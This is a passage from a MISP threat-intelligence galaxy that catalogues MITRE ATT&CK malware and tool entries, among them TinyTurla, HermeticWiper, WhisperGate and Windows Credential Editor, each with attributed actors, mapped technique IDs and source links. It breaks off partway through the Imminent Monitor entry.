TinyTurla - S0668

[TinyTurla](https://attack.mitre.org/software/S0668) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)

The tag is: *misp-galaxy:mitre-malware="TinyTurla - S0668"*

TinyTurla - S0668 is also known as:

- TinyTurla

View relationships graph

TinyTurla - S0668 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5714. Table References

Links
https://attack.mitre.org/software/S0668
https://blog.talosintelligence.com/2021/09/tinyturla.html

KOCTOPUS - S0669

[KOCTOPUS](https://attack.mitre.org/software/S0669)'s batch variant is loader used by [LazyScripter](https://attack.mitre.org/groups/G0140) since 2018 to launch [Octopus](https://attack.mitre.org/software/S0340) and [Koadic](https://attack.mitre.org/software/S0250) and, in some cases, [QuasarRAT](https://attack.mitre.org/software/S0262). [KOCTOPUS](https://attack.mitre.org/software/S0669) also has a VBA variant that has the same functionality as the batch version.(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: *misp-galaxy:mitre-malware="KOCTOPUS - S0669"*

KOCTOPUS - S0669 is also known as:

- KOCTOPUS

View relationships graph

KOCTOPUS - S0669 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5715. Table References

Links
https://attack.mitre.org/software/S0669
https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf

Flagpro - S0696

[Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021)

The tag is: *misp-galaxy:mitre-malware="Flagpro - S0696"*

Flagpro - S0696 is also known as:

- Flagpro
- Flagpro

View relationships graph

Flagpro - S0696 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5716. Table References

Links
https://attack.mitre.org/software/S0696
https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech

Torisma - S0678

[Torisma](https://attack.mitre.org/software/S0678) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [Torisma](https://attack.mitre.org/software/S0678) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)

The tag is: *misp-galaxy:mitre-malware="Torisma - S0678"*

Torisma - S0678 is also known as:

- Torisma

View relationships graph

Torisma - S0678 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5717. Table References

Links
https://attack.mitre.org/software/S0678
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/

Ferocious - S0679

[Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)

The tag is: *misp-galaxy:mitre-malware="Ferocious - S0679"*

Ferocious - S0679 is also known as:

- Ferocious

View relationships graph

Ferocious - S0679 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 5718. Table References

Links
https://attack.mitre.org/software/S0679

https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044

HermeticWiper - S0697

[HermeticWiper](https://attack.mitre.org/software/S0697) is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)

The tag is: *misp-galaxy:mitre-malware="HermeticWiper - S0697"*

HermeticWiper - S0697 is also known as:

- HermeticWiper
- Trojan.Killdisk
- DriveSlayer

View relationships graph

HermeticWiper - S0697 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5719. Table References

Links
https://attack.mitre.org/software/S0697
https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia
https://www.cisa.gov/uscert/ncas/alerts/aa22-057a

https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine
https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack
https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine

Meteor - S0688

[Meteor](https://attack.mitre.org/software/S0688) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://attack.mitre.org/software/S0688) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called "Indra" since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)

The tag is: *misp-galaxy:mitre-malware="Meteor - S0688"*

Meteor - S0688 is also known as:

- Meteor

View relationships graph

Meteor - S0688 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5720. Table References

Links
https://attack.mitre.org/software/S0688
https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/

WhisperGate - S0689

[WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used in attacks against Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)

The tag is: *misp-galaxy:mitre-malware="WhisperGate - S0689"*

WhisperGate - S0689 is also known as:

- WhisperGate

View relationships graph

WhisperGate - S0689 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5721. Table References

Links
https://attack.mitre.org/software/S0689
https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family
https://www.cybereason.com/blog/cybereason-vs.-whispergate-wiper
https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/

HermeticWizard - S0698

[HermeticWizard](https://attack.mitre.org/software/S0698) is a worm that has been used to spread [HermeticWiper](https://attack.mitre.org/software/S0697) in attacks against organizations in Ukraine since at least 2022.(Citation: ESET Hermetic Wizard March 2022)

The tag is: *misp-galaxy:mitre-malware="HermeticWizard - S0698"*

HermeticWizard - S0698 is also known as:

* HermeticWizard

View relationships graph

HermeticWizard - S0698 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5722. Table References

Links
https://attack.mitre.org/software/S0698
https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine

Tool

Name of ATT&CK software.

Tool is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Windows Credential Editor - S0005

[Windows Credential Editor](https://attack.mitre.org/software/S0005) is a password dumping tool. (Citation: Amplia WCE)

The tag is: *misp-galaxy:mitre-tool="Windows Credential Editor - S0005"*

Windows Credential Editor - S0005 is also known as:

- Windows Credential Editor
- WCE

View relationships graph

Windows Credential Editor - S0005 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 5723. Table References

Links
http://www.ampliasecurity.com/research/wcefaq.html
https://attack.mitre.org/software/S0005

Pass-The-Hash Toolkit - S0122

[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Pass-The-Hash Toolkit - S0122"*

View relationships graph

Pass-The-Hash Toolkit - S0122 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

Table 5724. Table References

Links
https://attack.mitre.org/software/S0122
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

CSPY Downloader - S0527

[CSPY Downloader](https://attack.mitre.org/software/S0527) is a tool designed to evade analysis and download additional payloads used by [Kimsuky](https://attack.mitre.org/groups/G0094).(Citation: Cybereason Kimsuky November 2020)

The tag is: *misp-galaxy:mitre-tool="CSPY Downloader - S0527"*

CSPY Downloader - S0527 is also known as:

- CSPY Downloader

View relationships graph

CSPY Downloader - S0527 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5725. Table References

Links
https://attack.mitre.org/software/S0527

https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite

Imminent Monitor - S0434

[Imminent Monitor](https://attack.mitre.org/software/S0434) was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.(Citation: Imminent Unit42 Dec2019)

The tag is: *misp-galaxy:mitre-tool="Imminent Monitor - S0434"*

Imminent Monitor - S0434 is also known as:

- Imminent Monitor

View relationships graph

Imminent Monitor - S0434 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
